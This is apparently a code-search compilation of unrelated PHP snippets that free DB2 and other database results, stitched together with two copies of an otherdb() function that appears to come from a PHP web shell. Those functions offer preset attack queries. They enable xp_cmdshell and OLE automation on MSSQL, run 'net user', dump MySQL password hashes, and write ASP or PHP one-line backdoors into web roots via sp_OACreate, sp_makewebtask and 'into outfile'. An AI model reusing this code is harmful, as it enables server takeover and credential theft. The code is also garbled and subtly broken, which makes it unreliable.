/**
* This function frees the command reference.
*
* @access public
* @override
*
* @see http://www.php.net/manual/en/function.db2-free-result.php
*/
public function free()
{
if ($this->command !== NULL) {
@db2_free_result($this->command);
$this->command = NULL;
$this->record = FALSE;
}
}
/**
* {@inheritdoc}
*/
public function closeCursor()
{
if (!$this->_stmt) {
return false;
}
$this->_bindParam = array();
db2_free_result($this->_stmt);
$ret = db2_free_stmt($this->_stmt);
$this->_stmt = false;
return $ret;
}
/**
* {@inheritdoc}
*/
public function disConnect()
{
if ($this->result) {
db2_free_result($this->result);
}
if (is_resource($this->connection)) {
$this->connected = !db2_close($this->connection);
} else {
$this->connected = false;
}
return !$this->connected;
}
function otherdb()
{
$db = isset($_GET['db']) ? $_GET['db'] : 'ms';
print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms">   MSSQL  </a>
<a href="?s=gg&db=ora">   Oracle  </a>
<a href="?s=gg&db=ifx">   InforMix  </a>
<a href="?s=gg&db=fb">   FireBird  </a>
<a href="?s=gg&db=db2">  DB2  </a></div></form>
END;
if ($db == "ms") {
$mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
$msaction = isset($_POST['action']) ? $_POST['action'] : '';
$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
$msquery = stripslashes($msquery);
print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
if ($msaction == 'msquery') {
$msconn = mssql_connect($mshost, $msuser, $mspass);
mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
$msresult = mssql_query($msquery) or die(mssql_get_last_message());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
mssql_data_seek($result, 0);
while ($msrow = mssql_fetch_row($msresult)) {
echo "<tr>\n";
for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
echo '<td>' . "{$msrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
mssql_free_result($msresult);
mssql_close();
}
} elseif ($db == "ora") {
$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
$oraquery = stripslashes($oraquery);
print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($oraaction == 'oraquery') {
$oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
$oraresult = ociparse($oralink, $oraquery) or die(ocierror());
$orarow = oci_fetch_row($oraresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
ociresult($oraresult, 0);
while ($orarow = ora_fetch_row($oraresult)) {
echo "<tr>\n";
for ($i = 0; $i < ora_num_fields($result); $i++) {
echo '<td>' . "{$orarow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
oci_free_statement($oraresult);
ocilogoff();
}
} elseif ($db == "ifx") {
$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
$ifxquery = stripslashes($ifxquery);
print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($ifxaction == 'ifxquery') {
$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
$ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
$ifxrow = ifx_fetch_row($ifxresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
}
echo "</tr>\n";
mysql_data_seek($ifxresult, 0);
while ($ifxrow = ifx_fetch_row($ifxresult)) {
echo "<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td>' . "{$ifxrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
ifx_free_result($ifxresult);
ifx_close();
}
} elseif ($db == "db2") {
$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
$db2action = isset($_POST['action']) ? $_POST['action'] : '';
$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
$db2query = stripslashes($db2query);
print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($myaction == 'db2query') {
$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
$db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
$db2row = db2_fetch_row($db2result);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
}
echo "</tr>\n";
while ($db2row = db2_fetch_row($db2result)) {
echo "<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td>' . "{$db2row[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
db2_free_result($db2result);
db2_close();
}
} elseif ($db == "fb") {
$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
$fbpath = str_replace("\\\\", "\\", $fbpath);
$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
$fbquery = stripslashes($fbquery);
print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($fbaction == 'fbquery') {
$fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
$fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
ibase_field_info($fbresult, 0);
while ($fbrow = ibase_fetch_row($fbresult)) {
echo "<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td>' . "{$fbrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
ibase_free_result($fbresult);
ibase_close();
}
}
}
/**
* Executes an SQL query
*
* @param string|fStatement $statement The statement to perform
* @param fResult $result The result object for the query
* @param array $params The parameters for prepared statements
* @return void
*/
private function performQuery($statement, $result, $params)
{
fCore::startErrorCapture();
$extra = NULL;
if (is_object($statement)) {
$statement->executeQuery($result, $params, $extra, $statement != $this->statement);
} elseif ($this->extension == 'ibm_db2') {
$extra = db2_exec($this->connection, $statement, array('cursor' => DB2_FORWARD_ONLY));
if (is_resource($extra)) {
$rows = array();
while ($row = db2_fetch_assoc($extra)) {
$rows[] = $row;
}
$result->setResult($rows);
unset($rows);
} else {
$result->setResult($extra);
}
} elseif ($this->extension == 'mssql') {
$result->setResult(mssql_query($result->getSQL(), $this->connection));
} elseif ($this->extension == 'mysql') {
$result->setResult(mysql_query($result->getSQL(), $this->connection));
} elseif ($this->extension == 'mysqli') {
$result->setResult(mysqli_query($this->connection, $result->getSQL()));
} elseif ($this->extension == 'oci8') {
$extra = oci_parse($this->connection, $result->getSQL());
if ($extra && oci_execute($extra, $this->inside_transaction ? OCI_DEFAULT : OCI_COMMIT_ON_SUCCESS)) {
oci_fetch_all($extra, $rows, 0, -1, OCI_FETCHSTATEMENT_BY_ROW + OCI_ASSOC);
$result->setResult($rows);
unset($rows);
} else {
$result->setResult(FALSE);
}
} elseif ($this->extension == 'pgsql') {
$result->setResult(pg_query($this->connection, $result->getSQL()));
} elseif ($this->extension == 'sqlite') {
$result->setResult(sqlite_query($this->connection, $result->getSQL(), SQLITE_ASSOC, $extra));
} elseif ($this->extension == 'sqlsrv') {
$extra = sqlsrv_query($this->connection, $result->getSQL());
if (is_resource($extra)) {
$rows = array();
while ($row = sqlsrv_fetch_array($extra, SQLSRV_FETCH_ASSOC)) {
$rows[] = $row;
}
$result->setResult($rows);
unset($rows);
} else {
$result->setResult($extra);
}
} elseif ($this->extension == 'pdo') {
if (preg_match('#^\\s*CREATE(\\s+OR\\s+REPLACE)?\\s+TRIGGER#i', $result->getSQL())) {
$this->connection->exec($result->getSQL());
$extra = FALSE;
$returned_rows = array();
} else {
$extra = $this->connection->query($result->getSQL());
if (is_object($extra)) {
// This fixes a segfault issue with blobs and fetchAll() for pdo_ibm
if ($this->type == 'db2') {
$returned_rows = array();
while (($row = $extra->fetch(PDO::FETCH_ASSOC)) !== FALSE) {
foreach ($row as $key => $value) {
if (is_resource($value)) {
$row[$key] = stream_get_contents($value);
}
}
$returned_rows[] = $row;
}
// pdo_dblib doesn't throw an exception on error when executing
// a prepared statement when compiled against FreeTDS, so we have
// to manually check the error info to see if something went wrong
} elseif ($this->type == 'mssql' && !fCore::checkOS('windows') && preg_match('#^\\s*EXEC(UTE)?\\s+#i', $result->getSQL())) {
$error_info = $extra->errorInfo();
if ($error_info && strpos($error_info[2], '(null) [0] (severity 0)') !== 0) {
$returned_rows = FALSE;
}
} else {
$returned_rows = $extra->fetchAll(PDO::FETCH_ASSOC);
}
} else {
$returned_rows = $extra;
}
// The pdo_pgsql driver likes to return empty rows equal to the number of affected rows for insert and deletes
if ($this->type == 'postgresql' && $returned_rows && $returned_rows[0] == array()) {
$returned_rows = array();
}
}
$result->setResult($returned_rows);
}
$this->statement = $statement;
$this->handleErrors(fCore::stopErrorCapture());
// The mssql extension will sometimes not return FALSE even if there are errors
if (strlen($this->error) && strpos($this->error, 'WARNING!') !== 0) {
$result->setResult(FALSE);
}
$this->checkForError($result, $extra);
if ($this->extension == 'mssql') {
$this->error = '';
}
if ($this->extension == 'ibm_db2') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
db2_free_result($extra);
}
} elseif ($this->extension == 'pdo') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
$extra->closeCursor();
}
} elseif ($this->extension == 'oci8') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
oci_free_statement($extra);
}
} elseif ($this->extension == 'sqlsrv') {
$this->setAffectedRows($result, $extra);
if ($extra && !is_object($statement)) {
sqlsrv_free_stmt($extra);
}
} else {
$this->setAffectedRows($result, $extra);
}
$this->setReturnedRows($result);
$this->handleAutoIncrementedValue($result, $extra);
}
/**
* Disconnects from database.
*
* @return boolean True if the database could be disconnected, else false
*/
function disconnect()
{
@db2_free_result($this->results);
$this->connected = !@db2_close($this->connection);
return !$this->connected;
}
/**
* Frees memory associated with a statement resource
* @param $res Object: statement resource to free
* @return Boolean success or failure
*/
public function freeResult($res)
{
if ($res instanceof ResultWrapper) {
$res = $res->result;
}
if (!@db2_free_result($res)) {
throw new DBUnexpectedError($this, "Unable to free DB2 result\n");
}
}
/**
* Frees memory associated with a statement resource
* @param $res Object: statement resource to free
* @throws DBUnexpectedError
* @return Boolean success or failure
*/
public function freeResult($res)
{
if ($res instanceof ResultWrapper) {
$res = $res->result;
}
wfSuppressWarnings();
$ok = db2_free_result($res);
wfRestoreWarnings();
if (!$ok) {
throw new DBUnexpectedError($this, "Unable to free DB2 result\n");
}
}
/**
* Frees a result set.
*
* @param resource $res The database query resource returned from
* the {@link dbi_query()} function.
*
* @return bool True on success
*/
function dbi_free_result($res)
{
if (strcmp($GLOBALS["db_type"], "mysql") == 0) {
return mysql_free_result($res);
} else {
if (strcmp($GLOBALS["db_type"], "mysqli") == 0) {
return mysqli_free_result($res);
} else {
if (strcmp($GLOBALS["db_type"], "mssql") == 0) {
return mssql_free_result($res);
} else {
if (strcmp($GLOBALS["db_type"], "oracle") == 0) {
// Not supported. Ingore.
if ($GLOBALS["oracle_statement"] >= 0) {
OCIFreeStatement($GLOBALS["oracle_statement"]);
$GLOBALS["oracle_statement"] = -1;
}
} else {
if (strcmp($GLOBALS["db_type"], "postgresql") == 0) {
return pg_freeresult($res);
} else {
if (strcmp($GLOBALS["db_type"], "odbc") == 0) {
return odbc_free_result($res);
} else {
if (strcmp($GLOBALS["db_type"], "ibm_db2") == 0) {
return db2_free_result($res);
} else {
if (strcmp($GLOBALS["db_type"], "ibase") == 0) {
return ibase_free_result($res);
} else {
dbi_fatal_error("dbi_free_result(): db_type not defined.");
}
}
}
}
}
}
}
}
}
/**
* Free resources associated with a query result set
* @param Mixed qHanle The query handle
*/
public function closeQuery($qHanle)
{
@db2_free_result($qHanle);
}
/**
* Returns the next data set from a DB resource or false if there are no more results.
*
* @param resource $cursor
* @param bool $convertNulls convert all null values to string zeroes
*
* @return array|bool
*/
function DBfetch($cursor, $convertNulls = true)
{
global $DB;
$result = false;
if (!isset($DB['DB']) || empty($DB['DB']) || is_bool($cursor)) {
return $result;
}
switch ($DB['TYPE']) {
case ZBX_DB_MYSQL:
$result = mysqli_fetch_assoc($cursor);
if (!$result) {
mysqli_free_result($cursor);
}
break;
case ZBX_DB_POSTGRESQL:
if (!($result = pg_fetch_assoc($cursor))) {
pg_free_result($cursor);
}
break;
case ZBX_DB_ORACLE:
if ($row = oci_fetch_assoc($cursor)) {
$result = array();
foreach ($row as $key => $value) {
$field_type = strtolower(oci_field_type($cursor, $key));
// Oracle does not support NULL values for string fields, so if the string is empty, it will return NULL
// convert it to an empty string to be consistent with other databases
$value = str_in_array($field_type, array('varchar', 'varchar2', 'blob', 'clob')) && is_null($value) ? '' : $value;
if (is_object($value) && strpos($field_type, 'lob') !== false) {
$value = $value->load();
}
$result[strtolower($key)] = $value;
}
}
break;
case ZBX_DB_DB2:
if (!($result = db2_fetch_assoc($cursor))) {
db2_free_result($cursor);
} else {
// cast all of the values to string to be consistent with other DB drivers: all of them return
// only strings.
foreach ($result as &$value) {
if ($value !== null) {
$value = (string) $value;
}
}
unset($value);
}
break;
case ZBX_DB_SQLITE3:
if ($DB['TRANSACTIONS'] == 0) {
lock_sqlite3_access();
}
if (!($result = $cursor->fetchArray(SQLITE3_ASSOC))) {
unset($cursor);
} else {
// cast all of the values to string to be consistent with other DB drivers: all of them return
// only strings.
foreach ($result as &$value) {
$value = (string) $value;
}
unset($value);
}
if ($DB['TRANSACTIONS'] == 0) {
unlock_sqlite3_access();
}
break;
}
if ($result) {
if ($convertNulls) {
foreach ($result as $key => $val) {
if (is_null($val)) {
$result[$key] = '0';
}
}
}
return $result;
}
return false;
}
function _close()
{
return @db2_free_result($this->_queryID);
}
function otherdb()
{
$db = isset($_GET['db']) ? $_GET['db'] : '';
print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=w&db={$db}" enctype="multipart/form-data">
<div class="actall"><a href="?s=w">   psotgresql  </a>
<a href="?s=w&db=ms">   mssql  </a>
<a href="?s=w&db=ora">   oracle  </a>
<a href="?s=w&db=ifx">   informix  </a>
<a href="?s=w&db=fb">   firebird  </a>
<a href="?s=w&db=db2">  db2  </a></div></form>
END;
if ($db == "ms") {
$mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '******';
$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
$msaction = isset($_POST['action']) ? $_POST['action'] : '';
$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
$msquery = stripslashes($msquery);
print <<<END
<form method="POST" name="msform" action="?s=w&db=ms">
<div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
Str[0] = "";
\tStr[1] = "select @@version;";
Str[2] = "select name from sysdatabases;";
Str[3] = "select name from sysobject where type='U';";
Str[4] = "select name from syscolumns where id=Object_Id('table_name');";
Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
Str[10] = "Exec master.dbo.xp_cmdshell 'net user';";
Str[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
msform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
<option value="1">version</option>
<option value="2">databases</option>
<option value="3">tables</option>
<option value="4">columns</option>
<option value="5">add sp_oacreate</option>
\t<option value="6">add xp_cmdshell</option>
\t<option value="7">add xp_cmdshell(2005)</option>
<option value="8">add sp_oacreate(2005)</option>
<option value="9">open openrowset(2005)</option>
<option value="10">xp_cmdshell exec</option>
<option value="10">sp_oamethod exec</option>
<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($msaction == 'msquery') {
$msconn = mssql_connect($mshost, $msuser, $mspass);
mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
$msresult = mssql_query($msquery) or die(mssql_get_last_message());
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
echo '<td bgcolor="#228B22"><b>' . mssql_field_name($msresult, $i);
echo "</b></td>\n";
}
echo "</tr>\n";
mssql_data_seek($result, 0);
while ($msrow = mssql_fetch_row($msresult)) {
echo "<tr>\n";
for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
echo '<td bgcolor="#B8B8E8">';
echo "{$msrow[$i]}";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
mssql_free_result($msresult);
mssql_close();
}
} elseif ($db == "ora") {
$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
$oraquery = stripslashes($oraquery);
print <<<END
<form method="POST" name="oraform" action="?s=w&db=ora">
<div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br>
<script language="javascript">
function oraFull(i){
\tStr = new Array(8);
Str[0] = "";
\tStr[1] = "select version();";
Str[2] = "show databases;";
Str[3] = "show tables from db_name;";
Str[4] = "show columns from table_name;";
Str[5] = "select user,password from mysql.user;";
\tStr[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);";
\tStr[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
<option value="1">version</option>
<option value="2">databases</option>
<option value="3">tables</option>
<option value="4">columns</option>
<option value="5">hashes</option>
\t<option value="6">load_file</option>
\t<option value="7">into outfile</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($oraaction == 'oraquery') {
$oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
$oraresult = ociparse($oralink, $oraquery) or die(ocierror());
$orarow = oci_fetch_row($oraresult);
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
echo '<td bgcolor="#228B22"><b>' . oci_field_name($oraresult, $i);
echo "</b></td>\n";
}
echo "</tr>\n";
ociresult($oraresult, 0);
while ($orarow = ora_fetch_row($oraresult)) {
echo "<tr>\n";
for ($i = 0; $i < ora_num_fields($result); $i++) {
echo '<td bgcolor="#B8B8E8">';
echo "{$orarow[$i]}";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
